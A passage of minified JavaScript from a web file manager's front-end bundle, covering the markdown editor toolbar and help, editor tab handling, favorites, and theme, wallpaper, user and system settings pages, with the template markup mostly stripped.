        +if(""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),""!==i){var n=e.getSelectionRange(),o={start:{row:n.start.row,column:n.start.column-t.tag.length},end:n.start},s={start:n.end,end:{row:n.end.row,column:n.end.column+t.tag.length}};e.session.getTextRange(o)==t.tag&&e.session.getTextRange(s)==t.tag&&(e.selection.setSelectionRange({start:o.start,end:s.end}),a="${1:"+i+"}")}ace.snippetManager.insertSnippet(e,a)},a=function(e,t){for(var i=e.getSelectionRange(),a=[],n=i.end.row-i.start.row+1,o=0,s=0;n>s;s++){var r={start:{row:i.start.row+s,column:0},end:{row:i.start.row+s,column:t.insert.length}};a.push(r),e.session.getTextRange(r)==t.insert&&o++}for(var s=0;n>s;s++){var l=a[s];n==o?e.session.doc.remove(l):e.session.doc.insert({row:l.start.row,column:0},t.insert)}},n=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),ace.snippetManager.insertSnippet(e,a)},o=function(e,t){var a=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||a===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),i(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","math"],i="";return $.each(e,function(e,a){if("|"==a)i+="|";else{var n=t[a],o="class='md-tools md-tools-"+a+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";i+=""}}),i},r=function(e){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){core.fileLink(t,function(i){var a=core.pathThis(t),n="!["+a+"]("+i+")";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":i(c,l,s);break;case"head":a(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(i){var a=t[i];if(a.title&&a.title.match(/\((.*)\)/)){var n=a.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:i,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(i)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdown_help_cn.html",[],'
        \n
        1.标题与文字格式
        \n

        标题

        \n
        \n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n
        \n

        文字格式

        \n
        \n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n
        \n

        水平线

        \n
        \n--- \n
        \n了解更多\n
        \n\n
        \n
        2.列表
        \n

        无序列表

        \n
        \n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n
        \n

        有序列表

        \n
        \n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.其他
        \n

        图片

        \n
        \n![图片名称](http://图片网址)\n
        \n\n

        连接

        \n
        \n[链接名称](http://链接网址)\n<http://链接网址>\n
        \n\n

        引用

        \n
        \n> 引用\n> 折行可以不加,新起一行要加\n
        \n\n

        代码

        \n
        \n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n
        \n\n

        公式

        \n
        \n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n
        \n编辑器\n | 公式教程\n
        \n'),define("app/src/edit/tpl/markdown_help.html",[],'
        \n
        1.Headers and Emphasis
        \n

        Headers

        \n
        \n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n
        \n

        Emphasis

        \n
        \n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n
        \n

        Line

        \n
        \n--- \n
        \nLearn More\n
        \n\n
        \n
        2.Lists
        \n

        Unordered list

        \n
        \n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n
        \n

        Ordered list

        \n
        \n1. item 1\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.Others
        \n

        Image

        \n
        \n![Alt text](http://img.png)\n
        \n\n

        Links

        \n
        \n[Link text](http://url)\n<http://url>\n
        \n\n

        Blockquotes

        \n
        \n> Are you \n> ok ?\n
        \n\n

        Code

        \n
        \ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n
        \n\n

        LaTeX Math

        \n
        \ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n
        \nMath Editor \n
        \n'),define("app/src/edit/tpl/edit_tab_content.html",[],'
        \n
        \n	\n	\n
        \n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit_tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit_tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit_tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},i=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit_tab_menu",items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",accesskey:"d"},close_left:{name:LNG.close_left,icon:"remove-sign",accesskey:"l"},close_right:{name:LNG.close_right,icon:"remove-sign",accesskey:"r"},close_others:{name:LNG.close_others,icon:"remove-circle",accesskey:"o"},sep2:"--------",open_the_path:{name:LNG.open_the_path,icon:"plus",accesskey:"n"},preview:{name:LNG.preview,icon:"globe",accesskey:"p"}},callback:function(e,t){var i=t.$trigger,a=i.attr("uuid");switch(e){case"refresh":Editor.refresh(a);break;case"close":Editor.remove(a);break;case"close_left":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_right":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_others":$(".edit_tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=a&&Editor.remove(e)});break;case"open_the_path":var o=i.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},a=function(){var e,t,i,a,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit_tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){v(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(a){o=!0,s=a.pageX,l=a.pageY,$tab_parent=$(".edit_tab"),t=$(".edit_tab .tab"),$(".draggable-dragging").remove(),i=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=a.clientX-s+r;$("body").prepend("
        "),i.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(a){if(n){0==o&&h(a);var u=a.clientX-s+r,f=a.clientY-l+c;i.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"right")}})}},_=function(i,n){if(!e.is(":animated")||a!=i){a=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit_tab .tab");var o=e.width(),s=$(".edit_tab .tab_"+i),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit_tab .tab")})}},v=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.current()&&Editor.current().focus(),void 0!=i){var t=e.get(0).getBoundingClientRect().left,a=e.get(0).getBoundingClientRect().top;i.animate({left:t+"px",top:a+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,i){"remove"==e&&t.removeClass("edit_tab_menu");var a=1.4*animate_time,n=150,o=n,s=$(".edit_tab .tab.edit_tab_menu"),r=$sizeInt($(".edit_tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit_tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit_tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},a),s.animate({width:o+"px"},a);break;case"remove":void 0!=i&&Editor.select(i),t.stop(1,1).animate({width:"0","margin-top":"+=30"},a,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},a);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),a(),i()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){i(),$(".toolMenu").bind("click mouseup",stopPP),$(".toolMenu").on("mousedown",function(){$(".toolMenu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})});var e=function(e,t){if(t.parent().hasClass("top_toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom_toolbar")){var i=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:i,top:t.offset().top-e.outerHeight()})}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menuViewGotoline",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline_input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{soft_tab:{name:"Soft Tabs (spaces)",className:"soft_tab"},sep1:"---------",tab_size_2:{name:"Tab with:2",className:"tab_size_set tab_size_2"},tab_size_3:{name:"Tab with:3",className:"tab_size_set tab_size_3"},tab_size_4:{name:"Tab with:4",className:"tab_size_set tab_size_4"},tab_size_8:{name:"Tab with:8",className:"tab_size_set tab_size_8"},sep2:"---------",convert_to_space:{name:"Convert To Space",className:"convert_to_space"},convert_to_tab:{name:"Convert To Tabs",className:"convert_to_tab"}}});for(var t=G.code_font_all.split(","),a={},s=0;t.length>s;s++){var r=t[s],l=replaceAll(r," ","_");a["set_font_family_"+r]={name:r,className:"set_font_family_"+l}}$.contextMenu({selector:".menuViewSetting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"Ctrl+Shift+S",icon:"edit"},open_ie:{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------",beautify_html:{name:"html "+LNG.beautify_code,icon:"angle-right"},beautify_css:{name:"css "+LNG.beautify_code,icon:"angle-right"},beautify_js:{name:"js "+LNG.beautify_code,icon:"angle-right"},sep10:"---------",beautify_php:{name:"php "+LNG.beautify_code,icon:"angle-right"}}},sep1:"---------",function_list:{name:LNG.function_list+"Ctrl+Shift+E",className:"function_list"},show_gutter:{name:LNG.show_gutter,className:"show_gutter"},auto_wrap:{name:LNG.wordwrap,className:"auto_wrap"},display_char:{name:LNG.char_all_display,className:"display_char"},sep2:"---------",font_family:{name:LNG.font_family,icon:"italic",className:"code_font_family_list",accesskey:"m",items:a},ace_mode:{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{keyboard_type_ace:{name:"Default",className:"keyboard_type_ace"},keyboard_type_vim:{name:"vim",className:"keyboard_type_vim"},keyboard_type_emacs:{name:"emacs",className:"keyboard_type_emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------",learnMore:{name:LNG.learn_more,icon:"external-link"}}}}}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.current()&&Editor.current().focus(),stopPP(e),!1}),$(".tab_size_set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tab_size",e[1]),Editor.current()&&Editor.current().focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code_font_family_list .context-menu-item").click(function(){Editor.saveConfig("font_family",$(this).find("span").html(),""),Editor.current()&&Editor.current().focus(),o()}),$("body").click(function(e){try{$(".toolMenu").removeClass("select"),window.parent.rightMenu.hidden(),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right_main").length||Editor.current()&&Editor.current().focus()}catch(e){}}),$(".gotoline_input input").keyup(function(){Editor.current().gotoLine($(this).val())})},t=function(){var e=Editor.aceModeList.modes,t='
        "+""+""+"";for(var a in e)i+=""+" "+" "+" "+"";if($("table#list").html(i),t&&"fav&"==t.substring(0,4)){var n=t.split("&")[1].split("=")[1],o=t.split("&")[2].split("=")[1],s=t.split("&")[3].split("=")[1];n=htmlEncode(urlDecode(n)),o=htmlEncode(urlDecode(o));var r=""+" "+" "+" "+"";$(r).insertAfter("table#list tr:last")}},a=function(){var e=""+"";$(e).insertAfter("table#list tr:last")},n=function(){var e=$(this).parent().parent();$(e).detach()},o=function(){var t=$(this).parent().parent(),i=$(t).find("#sname").val(),a=$(t).find("#spath").val(),n=$(t).find("#stype").val();return""==i||""==a?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({url:e+"add&name="+urlEncode(i)+"&path="+urlEncode(a)+"&type="+n,dataType:"json",success:function(e){if(Tips.tips(e),e.code){$(t).attr("name",i),$(t).attr("path",a);var n=""+"";$(t).find("td.action").html(n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()})}}}),void 0)},s=function(){var i=$(this).parent().parent(),a=$(i).attr("name"),n=$(i).find("#sname").val(),o=$(i).find("#spath").val();return""==n||""==o?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({dataType:"json",url:e+"edit&name="+urlEncode(a)+"&name_to="+urlEncode(n)+"&path_to="+urlEncode(o),success:function(e){Tips.tips(e),e.code&&($(i).attr("name",n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}),t())}}),void 0)},r=function(){var t=$(this).parent().parent(),i=$(t).attr("name");$.ajax({url:e+"del&name="+urlEncode(i),dataType:"json",async:!1,success:function(e){Tips.tips(e),e.code&&($(t).detach(),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}))}})},l=function(){$(".fav .add").live("click",a),$(".fav .addexit").live("click",n),$(".fav .addsave").live("click",o),$(".fav .edit").live("click",s),$(".fav .del").live("click",r)};return l(),{init:t}}),define("app/src/setting/setting",[],function(e){var t,i=function(e){core.setSkin(e),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),"diy"!=e?$(".theme_diy_setting").addClass("hidden"):$(".theme_diy_setting").removeClass("hidden")},a=function(e){core.setSkin(e)};template.helper("menu_info_decode",function(e){var t=htmlEncode(urlDecode(e));return t});var n=function(t){var i={about:e("./page/about.html"),fav:e("./page/fav.html"),help:e("./page/help.html"),member:e("./page/member.html"),system:e("./page/system.html"),theme:e("./page/theme.html"),user:e("./page/user.html"),wall:e("./page/wall.html")};return i[t]},o=function(e){(""==e||void 0==e)&&(e="user"),t=e,"fav&"==e.substring(0,4)&&(e="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+e).addClass("selected");var i=window.location.href;-1!=i.indexOf("#")&&(i=i.substr(0,i.indexOf("#"))),window.location.href=i+"#"+e,$.ajax({url:"./index.php?setting/slider&slider="+e,beforeSend:function(){$(".main").html("")},success:function(i){if("about"==e){var a=i.data;if(i.data="",!core.tools.about(a))return;i.data=a}var o=$(".menu_left .selected").clone();o.find(".ripple_father").remove();var r="
        "+o.html()+"
        ",l=n(e),c=template.compile(l),d=c({urlDecode:urlDecode,LNG:LNG,G:G,data:i.data,info:i.info});$(".main").html(r+d),$(".main").fadeIn("fast"),"fav"==e&&Fav.init(t),"member"==e&&System.init(),"theme"==e&&s(),t=e,$("a,img").attr("draggable","false")}})},s=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$("#colorRotate").slider().on("slide",i)}),e.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color_picker").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$("input[name="+$(this).attr("input-name")+"]");a.val("#"+t),i()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value)})});var t=$(".theme_diy_setting");t.find("input[name]").unbind("change").bind("change",function(){var e=$(this).attr("name");"bg_type"==e&&($(".theme_bg_type_image,.theme_bg_type_color").addClass("hidden"),$(".theme_bg_type_"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||i()}),t.find(".theme_diy_save").unbind("click").bind("click",function(){var e=G.user_config.theme_diy;$.ajax({url:"index.php?setting/set&k=theme_diy&v="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})}),t.find(".color_list").each(function(){var e=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+e.color_rotate+"deg,"+e.start_color+","+e.end_color+")")}),t.find(".color_list").unbind("click").bind("click",function(){var e=jsonDecode($(this).attr("data-color"));$.each(e,function(e,a){var n=t.find("input[name="+e+"]");"color_rotate"==e?$("#colorRotate").slider("setValue",parseInt(a)):n.val(a),i()})});var i=function(){if("diy"==LocalData.get("theme")){var e={};t.find("input[name]").each(function(){var i=$(this).attr("name"),a=$(this).val();"checkbox"==$(this).attr("type")?a=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(a=t.find("[name="+i+"]:checked").val()),e[i]=a}),LocalData.setConfig("kod_diy_style",e),core.setSkin("diy"),ShareData.frameTop("",function(e){e.ui.setTheme("diy")})}}},r=function(){1!=G.is_root&&$("ul.setting #system").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]?$("ul.setting #member").show():$("ul.setting #member").hide(),t=location.hash.split("#",2)[1],o(t),$("ul.setting a").click(function(){t!=$(this).attr("id")&&(t=$(this).attr("id"),o(t))}),$("#password_new").keyEnter(function(){Setting.tools()}),$(".user_config_setting .form_row input").die("change").live("change",function(){var e=$(this),t=e.attr("name"),i=e.val();"checkbox"==e.attr("type")&&(i=e.prop("checked")?"1":"0"),l(t,i)}),$(".path_select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(e){var e=core.path2url(e);$(".path_select").parent().find("input[type=text]").val(e).trigger("change"),Setting.tools()})}),$(".randomImage").die("click").live("click",function(){var e=$(this),t=function(e){var t=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+t,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e))})};core.api.randomImage(function(i){e.addClass("moveCircle"),e.parent().find("input[type=text]").val(i).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){e.removeClass("moveCircle")},1e3),t(i)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e=$(this),t=e.parent();switch(type=t.attr("data-type"),value=e.attr("data-value"),t.find(".this").removeClass("this"),e.addClass("this"),type){case"wall":var a=G.static_path+"images/wall_page/"+value+".jpg";$("#wall_url").val(""),ShareData.frameTop("",function(e){e.ui.setWall(a)});break;case"theme":i(value);break;default:}l(type,value)}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var e=$(this).attr("data-page");$(this).parent().parent().find(".panel").addClass("hidden"),$(this).parent().parent().find("."+e).removeClass("hidden")})},l=function(e,t){var i="index.php?setting/set&k="+e+"&v="+t;$.ajax({url:i,dataType:"json",success:function(e){e.code?Tips.tips(e):core.authCheck("setting:set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},c=function(){var e=$(".selected").attr("id");switch(e){case"user":var t=urlEncode($("#password_now").val()),i=urlEncode($("#password_new").val());if(""==i||""==t){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:"index.php?user/changePassword&password_now="+t+"&password_new="+i,dataType:"json",success:function(e){if(Tips.tips(e),e.code){var t=ShareData.frameTop();t.location.href="./index.php?user/logout"}}});break;case"wall":var a=$("#wall_url").val();if(""==a){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(e){e.ui.setWall(a)}),$(".box").find(".this").removeClass("this"),$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(e){Tips.tips(e)}});default:}};return r(),{setGoto:o,tools:c,setThemeSelf:a,setTheme:i}}),define("app/src/setting/page/about.html",[],'
        \n
        {{#data}}
        \n
        \n'),define("app/src/setting/page/fav.html",[],'
        \n
        "+htmlEncode(LNG.name)+"("+LNG.can_not_repeat+")"+htmlEncode(LNG.address)+"("+LNG.absolute_path+")"+LNG.action+"
        "+" "+" "+"
        "+" "+" "+"
        "+" "+"
        \n {{LNG.button_add}}\n
    \n'),define("app/src/setting/page/help.html",[],'
    \n
    {{#data}}
    \n
    \n'),define("app/src/setting/page/member.html",[],'
    \n
    \n
    \n
    {{LNG.system_group_edit}}
    \n
    {{LNG.system_group_role}}
    \n
    \n
    \n
    \n
    \n
    \n\n
    \n
    \n
      \n
      \n
      \n
      \n \n\n
      \n
      \n
      \n --\n id:\n \n\n \n \n 111/1.5\n
      \n
      \n
      \n
      \n
      \n \n\n \n \n
      \n
      \n\n\n'),define("app/src/setting/page/system.html",[],'\n\n{{if G.is_root}}\n
      \n {{if core.versionType !="A"}}\n \n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[core.versionType] }}{{/if}}\n {{LNG[verKey]}}\n
      \n{{/if}}\n\n\n
      \n
      \n
      \n
      {{LNG.system_name}}:
      \n
      \n {{LNG.system_name_desc}}\n \n
      \n
      \n\n
      \n
      {{LNG.system_desc}}:
      \n
      \n {{LNG.system_desc}}\n
      \n
      \n
      \n
      {{LNG.path_hidden}}:
      \n
      \n {{LNG.path_hidden_desc}}\n
      \n
      \n
      \n
      {{LNG.new_user_folder}}:
      \n
      \n {{LNG.new_user_folder_desc}}\n
      \n
      \n
      \n
      {{LNG.new_user_app}}:
      \n
      \n {{LNG.new_user_app_desc}}\n
      \n
      \n
      \n
      {{LNG.auto_login}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.need_check_code}}:
      \n
      \n \n
      \n
      \n\n
      \n
      {{LNG.first_in}}:
      \n
      \n \n \n \n
      \n
      \n\n \n
      \n
      \n \n
      \n
      \n
      \n
      \n\n\n\n\n\n{{if info}}\n\n{{/if}}\n'),define("app/src/setting/page/theme.html",[],'
      \n
      \n {{each data.setting_all.themeall.split(\',\') as value key}}\n
      \n
      \n
      {{#LNG[\'theme_\'+value]}}
      \n
      \n {{/each}}\n
      \n
      \n
      \n\n{{if config = G.user_config.theme_diy}}{{/if}}\n
      \n

      {{LNG.theme_diy_title}}

      \n
      \n
      \n
      {{LNG.theme_diy_background}}:
      \n
      \n \n \n
      \n
      \n\n
      \n
      \n
      {{LNG.theme_diy_image_blur}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.theme_diy_image_url}}:
      \n
      \n \n \n \n
      \n
      \n
      \n\n
      \n
      \n
      {{LNG.theme_diy_color_start}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.theme_diy_color_end}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.theme_diy_color_radius}}:
      \n
      \n \n
      \n
      \n\n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n\n \n
      \n
      \n
      \n \n
      \n
      \n\n
      \n
      \n'),define("app/src/setting/page/user.html",[],'\n\n
      \n
      \n
      \n
      {{LNG.recycle_open_if}}:
      \n
      \n \n
      \n
      \n\n
      \n
      {{LNG.setting_user_animage_show}}:
      \n
      \n \n
      \n
      \n\n
      \n
      {{LNG.upload_exist}}:
      \n
      \n \n \n \n
      \n
      \n
      \n
      \n
      \n\n\n\n'),define("app/src/setting/page/wall.html",[],'
      \n
      \n {{each data.setting_all.wallall.split(\',\') as value key}}\n
      \n
      \n
      \n {{/each}}\n
      \n
      \n
      \n\n\n
      \n

      {{LNG.setting_wall_diy}}

      \n
      \n
      \n
      URL:
      \n
      \n 3}}value="{{data.user.wall}}"{{/if}}/> \n \n \n
      \n
      \n\n \n
      \n
      \n
      \n \n
      \n
      \n
      \n
      \n'),define("app/src/setting/system/system_setting",[],function(){var e=function(){$("input[name='first_in']").live("click",function(){$("input[name='first_in']").removeAttr("checked"),$(this).attr("checked","checked") -}),$(".system_save").die("click").live("click",function(){var e={};$(".system_setting .form_row input").each(function(){var t=$(this);if("checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}else"radius"!=t.attr("type")&&(e[t.attr("name")]=urlEncode(t.val()))}),e.first_in=$("input[name='first_in'][checked]").val(),i(e)}),t(),$(".phpinfo").die("click").live("click",function(){$.dialog.open("./index.php?setting/php_info",{title:"php_info",width:"70%",height:"65%",resize:!0})}),$(".system_setting_more").die("click").live("click",function(){if(G.is_root){var e=G.basic_path+"config/setting_user.php",t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}}})},t=function(){$('.setting_menu .menu_list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting_menu .system_menu_add").live("click",function(){var e=$(".menu_default").clone().removeClass("menu_default hidden").addClass("menu_list");e.insertAfter(".setting_menu .menu_list:last")}),$(".setting_menu .menu_list .move_up").live("click",function(){var e=$(this).parent().parent();e.prev().hasClass("menu_list")&&e.insertBefore(e.prev())}),$(".setting_menu .menu_list .move_down").live("click",function(){var e=$(this).parent().parent();e.next().hasClass("menu_list")&&e.insertAfter(e.next())}),$(".setting_menu .menu_list .move_hidden").live("click",function(){var e=$(this).parent().parent();e.hasClass("menu_hidden")?(e.removeClass("menu_hidden"),$(this).text(LNG.menu_hidden)):(e.addClass("menu_hidden"),$(this).text(LNG.menu_show))}),$(".setting_menu .menu_list .move_del").live("click",function(){var e=$(this).parent().parent();e.remove()}),$(".system_menu_save").live("click",function(){var e=[];$(".setting_menu .menu_list").each(function(){var t=$(this),i={};t.hasClass("menu_default")||(t.find("input").each(function(){i[$(this).attr("name")]=urlEncode($(this).attr("value"))}),""!=i.name&&(i.use="1",i.type="",t.hasClass("menu_hidden")&&(i.use="0"),t.hasClass("menu_system")&&(i.type="system"),e.push(i)))}),i({menu:e})})},i=function(e){$.ajax({url:"index.php?setting/system_setting",type:"POST",data:"data="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})};e()}),define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./system_member","./system_group","./system_role"],function(e){e("lib/contextMenu/jquery-contextMenu"),e("lib/ztree/ztree");var t=e("./system_member"),i=e("./system_group"),a=e("./system_role"),n=function(){o("system_group"),s(),a.init(),i.init()},o=function(e){$(".system_conennt .this").removeClass("this"),$(".system_conennt #"+e).addClass("this"),$(".left_content").addClass("hidden"),$("."+e).removeClass("hidden"),$(".right_frame").addClass("hidden"),$("#content_"+e).removeClass("hidden")},s=function(){$(".left_header .tab").die("click").live("click",function(){var 